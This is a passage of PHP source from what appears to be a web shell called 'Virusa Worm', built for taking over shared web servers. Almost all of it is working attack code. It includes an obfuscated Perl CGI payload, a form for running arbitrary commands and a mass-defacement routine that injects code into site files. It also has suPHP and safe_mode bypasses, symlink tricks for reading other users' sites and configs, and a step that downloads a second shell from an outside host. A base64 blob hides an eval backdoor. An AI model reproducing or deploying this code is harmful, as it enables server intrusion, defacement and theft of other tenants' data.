  501. $vw='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';
  502. $decryp=gzinflate(base64_decode($vw));
  503. mkdir('perl', 0777);
  504. $hope = fopen("perl/.htaccess", 'w');
  505. $hcon= "Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .pl\nAddHandler cgi-script .pl\nAddHandler cgi-script .pl";
  506. fwrite ( $hope, $hcon ) ;
  507. $pelfile = fopen("perl/vw.pl" ,"w");
  508. fwrite ($pelfile,$decryp);
  509. chmod("perl/vw.pl",0755);
  510. echo "<iframe src=perl/vw.pl width=50% height=70% ></iframe><br><br> ";
  511. echo "<font face='Tahoma' color='#b0b000' size='2pt'>check in this directory for configs files</font><br><br><b class='cone'><a href='perl/' target='_blank'> Click Here </a></b><br><br>";
  512. }
  513.  
  514. echo '<table width=100% border=0><tr><td align=center></td></tr></table>
  515. <form method=post>
  516. <input type=submit name="ms" value="Read /etc/named.conf" /></form>';
  517.  
  518. if(isset($_POST['ms']))
  519. {
  520. error_reporting(0);
  521. $cmd="ls /var/named";
  522. $r=shell_exec($cmd);
  523. mkdir('conkill',0777);
  524. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  525. $f = fopen('conkill/.htaccess','w');
  526. $agshell = symlink("/","conkill/root");
  527. fwrite($f , $rr);
  528. echo '<form method=post><textarea rows=10 cols=35 name=web>';
  529.  
  530. echo $r;
  531.  
  532. echo '</textarea><br><br><input type=submit name=w value="Bypass Now !">
  533. </form><br><br>';
  534.  
  535. }
  536. error_reporting(0);
  537. $webs=explode("\n",$_POST['web']);
  538. if(isset($_POST['w']))
  539. {
  540. $webs=explode("\n",$_POST['web']);
  541. echo "
  542. <div class='tmp'><table width='40%'><tr><td><font color='#b3b3b3'><b>Domains</b></font></td><td><font color='#b3b3b3'><b>Users</b></font></td><td><font color='#b3b3b3'><b>symlink</b> </font></td></tr></div>";
  543. foreach($webs as $f)
  544. {
  545. $str=substr_replace($f,"",-4);
  546. $user = posix_getpwuid(@fileowner("/etc/valiases/".$str));
  547. echo "<tr><td><font color=red>".$str."</font></td><td><font color=#b0b000>".$user['name']."</td><td><div class='cone'><a target='_blank' href=conkill/root/home/".$user['name']."/public_html/>Symlink</a></div></td></tr>";
  548. flush();
  549. }
  550.  
  551. }
  552. echo '</table><br><br>';
  553.  
  554. break;
  555. case "cmd":
  556. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Command Execution</font></b><br><p align="center">';
  557. echo '
  558. <form method=get action="'.$me.'">
  559. <p align="center">
  560. <textarea rows="17" name="S1" cols="65">';
  561. if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
  562. echo $_GET['execmethod']($_GET['command']);}
  563. if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
  564. echo $_POST['execmethod']($_POST['command']);}
  565.  
  566. if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
  567. popen($_GET['command'],"r");}
  568.  
  569. echo'</textarea></p><p align="center">
  570. <input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="50"> <select name=execmethod>
  571. <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
  572. </select> <input type="submit" value="Execute">
  573. </p></form>';
  574. break;
  575.  
  576.  
  577. case 'masde':
  578.  
  579. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Mass Deface</font></b><br><br>'; if(!isset($_GET['code'])){
  580. echo '<font face="Tahoma" color="#009900" size="2pt"><form action="" method="get">
  581. <input type="hidden" name="action" value="mass">
  582. <textarea cols="75" rows="15" name="code" id="source">Defaced by Virusa Worm.. lol..</textarea><br><br>
  583. <center><font color="#006600">Folder: </font> <input size="60" type="text" value="'.getcwd().'" name="dir" style="border-top:none;"> <input type="submit" value="Deface it !" style="border-top:none;"></center>
  584. </form>';
  585. }
  586. else{
  587.  
  588. if (is_dir($_GET['dir'])) {
  589. $lolinject = $_GET['code'];
  590. foreach (glob($_GET['dir']."/*.php") as $injectj00) {
  591. $fp=fopen($injectj00,"a+");
  592. if (fputs($fp,$lolinject)){
  593. echo $injectj00.' was injected<br>';
  594. } else {
  595. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  596. }
  597. }
  598. foreach (glob($_GET['dir']."/*.html") as $injectj00) {
  599. $fp=fopen($injectj00,"a+");
  600. if (fputs($fp,$lolinject)){
  601. echo $injectj00.' was injected<br>';
  602. } else {
  603. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  604. }
  605. }
  606. foreach (glob($_GET['dir']."/*.htm") as $injectj00) {
  607. $fp=fopen($injectj00,"a+");
  608. if (fputs($fp,$lolinject)){
  609. echo $injectj00.' was injected<br>';
  610. } else {
  611. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  612. }
  613. }
  614. foreach (glob($_GET['dir']."/*.asp") as $injectj00) {
  615. $fp=fopen($injectj00,"a+");
  616. if (fputs($fp,$lolinject)){
  617. echo $injectj00.' was injected<br>';
  618. } else {
  619. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  620. }
  621. }
  622. foreach (glob($_GET['dir']."/*.js") as $injectj00) {
  623. $fp=fopen($injectj00,"a+");
  624. if (fputs($fp,$lolinject)){
  625. echo $injectj00.' was injected<br>';
  626. } else {
  627. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  628. }
  629. }
  630. foreach (glob($_GET['dir']."/*.aspx") as $injectj00) {
  631. $fp=fopen($injectj00,"a+");
  632. if (fputs($fp,$lolinject)){
  633. echo $injectj00.' was injected<br>';
  634. } else {
  635. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  636. }
  637. }
  638. } else {
  639. echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
  640. }
  641. }
  642.  
  643. break;
  644.  
  645.  
  646. case 'suphp':
  647.  
  648. echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Bypassed SuPHP</b><br><br><form method='POST'>
  649.  
  650. <input type='text' name='path' size='25' value=".dirname('/home/rosario/www/upload/b.php')." '>
  651. <input type='text' name='shell' size='25' value='http://files.xakep.biz/shells/PHP/wso.txt'>
  652. <input type='submit' value='Bypass' name='start'><br><br>";
  653. echo "<textarea rows='8' cols='56'>virusa worm Mode :) \n";
  654. if($_POST['start']) {
  655. $path = $_POST['path'];
  656. $file = $_POST['shell'];
  657. $htaccess = "suPHP_ConfigPath $path/vworm/php.ini";
  658. $phpini = "c2FmZV9tb2RlID0gT0ZGCnN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ==";
  659. $dir = "vworm";
  660. if(file_exists($dir)) {
  661. echo "[+] vworm Folder There Before :)\n";
  662. } else {
  663. @mkdir($dir); {
  664. echo "[+] vworm Folder Created :D\n";
  665. } }
  666. # Generate Sh3LL
  667. $fopen = fopen("vworm/vw.php",'w');
  668. $shell = @file_get_contents($file);
  669. $swrite = fwrite($fopen ,$shell);
  670. if($swrite){
  671. echo "[+] Shell Has Been Generated Name : vw.php \n";
  672. } else {
  673. echo "[~] Can't Generate Shell\n";
  674. }
  675. fclose($fopen);
  676. # Generate Htaccess
  677. $hopen = fopen("vworm/.htaccess", "w");
  678. $hwrite = fwrite($hopen, $htaccess);
  679. if($hwrite){
  680. echo "[+] htaccess Generated\n";
  681. } else {
  682. echo "[~] Can't Generate htaccess\n";
  683. }
  684. fclose($hopen);
  685. $ini = fopen("vworm/php.ini" ,"w");
  686. $php = fwrite($ini, base64_decode($phpini));
  687. if($php){
  688. echo "[+] PHP.INI Generated";
  689. } else {
  690. echo "[-] Can't Generate PHP.INI";
  691. }
  692. }
  693. echo "</textarea>";
  694. break;
  695.  
  696. case 'ssi':
  697. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Ssi Bypasser</b><br>';
  698. $ssine = 'PGh0bWw+DQo8dGl0bGU+U3NpIEJ5cGFzcyByZWNvZGVkIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly93d3cuaWNvbmouY29tL2ljby9jL3UvY3UxYm1wZ2Ixay5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz48aGVhZD4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+ICBodG1sLGJvZHkgeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IG91dGxpbmU6IDA7IH1heyBmb250LXNpemU6IDEycHg7IH1ib2R5IHsgZGlyZWN0aW9uOiBsdHI7ICBiYWNrZ3JvdW5kLWNvbG9yOiMxNTE1MTU7IGNvbG9yOiByZ2IoMCwgMTUzLCAwKTsgdGV4dC1hbGlnbjogY2VudGVyIH0gaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBmb250LXdlaWdodDogYm9sZDsgY29sb3I6ICMwMDAwMDA7IH1pbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGNjMDA7IH0uaGVkciB7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7ICBmb250LXNpemU6IDIycHg7IH0gDQouY29udCBheyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOnJnYigwLCAxNTMsIDApOyBmb250LWZhbWlseTogVGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZiAgOyBmb250LXNpemU6IDE2cHg7IHRleHQtc2hhZG93OiAwcHggMHB4IDNweCA7IH0uY29udCBhOmhvdmVyeyBjb2xvcjogI0ZGMDAwMCA7ICB0ZXh0LXNoYWRvdzowcHggMHB4IDNweCAjZmYwMDAwIDsgfS5jb25lIGF7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6cmdiKDAsIDE1MywgMCk7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7IGZvbnQtc2l6ZTogMTJweDsgdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsgfS5jb25lIGE6aG92ZXJ7IGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggI2ZmMDAwMCA7IH0udG1wIHRyIHRkeyBib3JkZXI6IHNvbGlkIDFweCAjMDA2NjAwOyBwYWRkaW5nOiAycHggOyBmb250LXNpemU6IDEzcHg7IH0udG1wIHRyIHRkIGEgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0uZm90ZXJ7IGZvbnQtc2l6ZTogOXB0OyBjb2xvcjogIzAwNjYwMCA7IHRleHQtYWxpZ246IGNlbnRlciB9LnRtcCB0ciB0ZDpob3ZlcnsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwY2MwMDsgfS5mb3R7IGZvbnQtZmFtaWx5OlRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7IGNvbG9yOiAjMDA5OTAwIDsgZm9udC1zaXplOiAxMXB0OyB9LmZvciBhIDogaG92ZXJ7IGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICNGRjAwMDA7IH0uaXIgeyBjb2xvcjogI0ZGMDAwMDsgfTwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCjxmb3JtIG5hbWU9InoxZC1saXRlc3BlZWQiICBtZXRob2Q9InBvc3QiPg0KPHAgYWxpZ249ImNlbnRlciI+PGI+PGZvbnQgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMnB0Ij48Yj5Db21tYW5kIDogPGlucHV0IG5hbWU9ImNvbW1hbmQiIHZhbHVlPSJpZCIgc2l6ZT0iMzYiIHRhYmluZGV4PSIyMCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9IkJ5cGFzcyAhIj48L2ZvbnQ+PC9wPg0KPC9mb3JtPjxjZW50ZXI+DQo8P3BocA0KJGNvbW1hbmQgPSAkX1BPU1RbJ2NvbW1hbmQnXTsNCiR6MDB6ID0gJF9QT1NUWyd6MDB6J107DQppZigkY29tbWFuZCl7DQokejExZCA9ICI8Y2VudGVyPjxmb250IGNvbG9yPScjYjNiM2IzJyAvPjxwcmU+PHByZT4NCjxicj4NClZpcnVzYSBXb3JtDQo8YnI+DQo8YnI+DQo8IS0tI2V4ZWMgY21kPSckY29tbWFuZCcgLS0+IA0KDQoiOw0KJG9wZW5maWxlID0gZm9wZW4oIml6by5zaHRtbCIsInciKTsNCiR3cml0ZWludG8gPSBmd3JpdGUoJG9wZW5maWxlLCIkejExZCIpOw0KZmNsb3NlKCRvcGVuZmlsZSk7DQppZigkb3BlbmZpbGUpew0KfWVsc2V7DQp9DQp9DQpwYXJzZV9zdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCRhKTsgaWYocmVzZXQoJGEpPT0naXonICYmIGNvdW50KCRhKT09OSkgeyBlY2hvICc8c3Rhcj4nO2V2YWwoYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgiICIsICIrIiwgam9pbihhcnJheV9zbGljZSgkYSxjb3VudCgkYSktMykpKSkpO2VjaG8gJzwvc3Rhcj4nO30NCj8+DQo8cHJlPiANCiA8aWZyYW1lIHNyYz0iaXpvLnNodG1sIiAgd2lkdGg9IjgwJSIgaGVpZ2h0PSI3MCUiIGZyYW1lYm9yZGVyPSIxIj48L2lmcmFtZT4NCjwvcHJlPjxicj48L2JvZHk+PC9odG1sPjxmb250IGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDY2MDAiIHNpemU9IjFwdCI+Q29kZWQgYnkgUmVkLVNlY3VyaXR5IEdyb3VwPC9mb250Pg=='; $file = fopen("ssine.php" ,"w+"); $write = fwrite ($file ,base64_decode($ssine)); fclose($file); chmod("ssine.php",0755);
  699. echo "<iframe src=ssine.php width=70% height=60% frameborder=0></iframe>";
  700. break;
  701.  
  702. case 'posget':
  703. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Bypass posix_getpwuid</b><br><br>';
  704. echo '<form method="POST">
  705. <input size="20" value="0" name="min" type="text">
  706. <font face="Tahoma" color="#008800" size="2pt">to </font>
  707. <input size="20" value="1024" name="max" type="text"> <input value="Symlink" name="" type="submit">
  708. </form><br>';
  709. if($_POST){
  710. $min = $_POST['min'];
  711. $max = $_POST['max'];
  712. echo"<div class='tmp'><table align='center' width='40%'><td><font color='#b3b3b3'><b>Domains</b></font></td><td><font color='#b3b3b3'><b>Users</b></font></td><td><font color='#b3b3b3'><b>Symlink</b> </font></td>";
  713.  
  714. $p = 0;
  715. error_reporting(0);
  716. $list = scandir("/var/named");
  717. for($p = $min; $min <= $max; $p++)
  718. {
  719. $user = posix_getpwuid($p);
  720. if(is_array($user)){
  721.  
  722. foreach($list as $domain){
  723. if(strpos($domain,".db")){
  724. $domain = str_replace('.db','',$domain);
  725. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  726. if($owner['name'] == $user['name'])
  727. {
  728. $i += 1;
  729. $cheechee = checkAlexa($domain);
  730. echo "<tr><td class='cone'><a href='http://".$domain." '>".$domain."</a> <font color='#d0d000'>- </font><font color='#b3b3b3'>".$cheechee."</font></td><center><td class='cone'><font color='#d0d000'>".$user['name']."</font></center></td><td class='cone'><center><a href='sim/rut".$owner['dir']."/public_html/' target='_blank'>Dir</a></center></td>";
  731. }
  732. }
  733. }
  734. }
  735.  
  736. }
  737. echo "<center><font face='Tahoma' color='#d0d000' size='2pt'>Total Domains Found:</font><font face='Tahoma' color='#d0d000' size='2pt'> ".$i."</font></center><br />";
  738. }
  739. echo "</table></div><br><br>";
  740. break;
  741.  
  742. case 'bforb':
  743.  
  744. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Bypass Forbidden Server</b><br>';
  745. mkdir('bforb', 0755);
  746. chdir('bforb');
  747. $bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBGb3JiaWRkZW4gYnkgVmlydXNhIFdvcm08L3RpdGxlPjwvaGVhZD48bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly93d3cuaWNvbmouY29tL2ljby9jL3UvY3UxYm1wZ2Ixay5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz48c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsgZm9udC1mYW1pbHk6Q291cmllcgltYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tdG9wOiAwcHg7IHRleHQtYWxpZ246IGNlbnRlcjsgTmV3O2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwMDk5MDA7Zm9udC13ZWlnaHQ6NDAwO30gYXt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGE6bGluayB7Y29sb3I6IzAwOTkwMDt9IGE6dmlzaXRlZCB7Y29sb3I6IzAwODA4MDt9IGE6aG92ZXJ7Y29sb3I6I2ZmMDAwMDt9IGE6YWN0aXZlIHtjb2xvcjojMDBhMmEyO30gLS0+PCEtLSBNYWRlIEJ5IFZpcnVzYSBXb3JtIC0tPjwvc3R5bGU+PGJyPjxicj48Ym9keSBiZ0NvbG9yPSIxNTE1MTUiPjx0cj48dGQ+PD9waHAgZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249Jyc+IiA7IGVjaG8gIjxjZW50ZXI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0J5cGFzcyBpdCcgbmFtZT0ndmlydXNhJz48L2NlbnRlcj4iOyBpZiAoaXNzZXQoJF9QT1NUWyd2aXJ1c2EnXSkpeyBzeXN0ZW0oJ2xuIC1zIC8gdmlydXNhLnR4dCcpOyAkZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyAkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3KyIpOyAkd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRmdmNrZW0pKTsgJHZpcnVzYSA9IHN5bWxpbmsoIi8iLCJ2aXJ1c2EudHh0Iik7ICRydD0iPGJyPjxhIGhyZWY9dmlydXNhLnR4dCBUQVJHRVQ9J19ibGFuayc+PGZvbnQgY29sb3I9I2ZmMDAwMCBzaXplPTIgZmFjZT0nQ291cmllciBOZXcnPjxiPkJ5cGFzc2VkIFN1Y2Nlc3NmdWxseTwvYj48L2ZvbnQ+PC9hPiI7IGVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
  748.  
  749. $file = fopen("bforb.php" ,"w+");
  750. $write = fwrite ($file ,base64_decode($bforb));
  751. fclose($file);
  752. chmod("bforb.php",0755);
  753. echo "<iframe src=bforb/bforb.php width=60% height=60% frameborder=0></iframe>";
  754.  
  755. break;
  756.  
  757. case 'sym':
  758.  
  759. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Symlink Server</font></b><br><br>';
  760.  
  761. if(!is_file('named.txt')){
  762.  
  763. $d00m = @file("/etc/named.conf");
  764.  
  765. }else{
  766.  
  767. $d00m = @file("named.txt");
  768.  
  769.  
  770. }
  771. if(!$d00m)
  772. {
  773.  
  774. die ("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  775. }
  776. else
  777.  
  778. {
  779. echo "<div class='tmp'><table align='center' width='40%'><td><font color='#b3b3b3'><b>Domains</b></font></td><td><font color='#b3b3b3'><b>Users</b></font></td><td><font color='#b3b3b3'><b>symlink</b> </font></td>";
  780. foreach($d00m as $dom){
  781.  
  782. if(eregi("zone",$dom)){
  783.  
  784. preg_match_all('#zone "(.*)"#', $dom, $domvw);
  785.  
  786. flush();
  787.  
  788. if(strlen(trim($domvw[1][0])) > 2){
  789.  
  790. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
  791.  
  792. flush();
  793.  
  794.  
  795.  
  796. $site = $user['name'] ;
  797.  
  798.  
  799. @symlink("/","sim/rut");
  800.  
  801. $site = $domvw[1][0];
  802.  
  803. $ir = 'ir';
  804.  
  805. $il = 'il';
  806.  
  807. if (preg_match("/.^$ir/",$domvw[1][0]) or preg_match("/.^$il/",$domvw[1][0]) )
  808. {
  809. $site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domvw[1][0]."</div>";
  810. }
  811.  
  812.  
  813. echo "
  814. <tr>
  815.  
  816. <td>
  817. <div class='cone'><a target='_blank' href=http://www.".$domvw[1][0]."/>".$site." </a> </div>
  818. </td>
  819.  
  820.  
  821. <td><font face='Tahoma' color='#d0d000' size='2pt'>
  822. ".$user['name']."
  823. </td></font>
  824.  
  825.  
  826.  
  827.  
  828.  
  829.  
  830. <td>
  831. <div class='cone'><a href='sim/rut/home/".$user['name']."/public_html' target='_blank'>symlink </a></div>
  832. </td>
  833.  
  834.  
  835. </tr></div> ";
  836.  
  837.  
  838. flush();
  839. flush();
  840.  
  841. }
  842. }
  843. }
  844. }
  845. echo "</table></div><br><br>";
  846.  
  847.  
  848.  
  849. break;
  850.  
  851. case 'ensim':
  852.  
  853. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Enable Symlink</font></b><br><center><form method=post><br><br>
  854. <input type=submit name=ens value="Bypass" /></form></center>';
  855.  
  856. error_reporting(0);
  857.  
  858. if(isset($_POST['ens']))
  859. {
  860. mkdir('ensim',0755);
  861. $rr ='<Directory "/home"> *** Options -ExecCGI* ***
  862. AllowOverride
  863. AuthConfig Indexes
  864. Limit FileInfo
  865. Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks
  866. </ Directory>';
  867. $g = fopen('ensim/.htaccess','w');
  868. fwrite($g,$rr);
  869. echo "<br><br><font face='Tahoma' color='#009900' size='2pt'>Symlink Function Enabled Successfully check path</font></center>";
  870. echo "<center><br><b class='cone'><a href=ensim/ target='_blank'><font face='Tahoma' color='#ff0000' size='2pt'>Click here </font></a></b></center><br>";
  871. }
  872. break;
  873.  
  874. case 'file':
  875.  
  876. echo'
  877. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Symlink Manual</font></b>
  878.  
  879. <br /><br />
  880. <form method="post">
  881. <input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
  882. <input type="text" name="symfile" value="file name symlink .txt" size="60"/><br /><br />
  883. <input type="submit" value="symlink" name="symlink" /> <br /><br />
  884.  
  885.  
  886.  
  887. </form>
  888. ';
  889.  
  890. $pfile = $_POST['file'];
  891. $symfile = $_POST['symfile'];
  892. $symlink = $_POST['symlink'];
  893.  
  894. if ($symlink)
  895. {
  896.  
  897.  
  898. @mkdir('simfel',0777);
  899. $c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
  900. $f =@fopen ('simfel/.htaccess','w');
  901. @fwrite($f , $c);
  902.  
  903. @symlink("$pfile","simfel/$symfile");
  904.  
  905. echo '<br /><font face="Tahoma" color="#009900" size="3pt"><b>Done.. !</b><br></font><div class="cont" align="center"><font face="Tahoma" color="#009900" size="2pt">Open this file -> <a target="_blank" href="simfel/'.$symfile.'" >'.$symfile.'</a></font></div>';
  906.  
  907. }
  908.  
  909.  
  910.  
  911. break;
  912. case 'read':
  913.  
  914. echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Read /etc/passwd</font></b>";
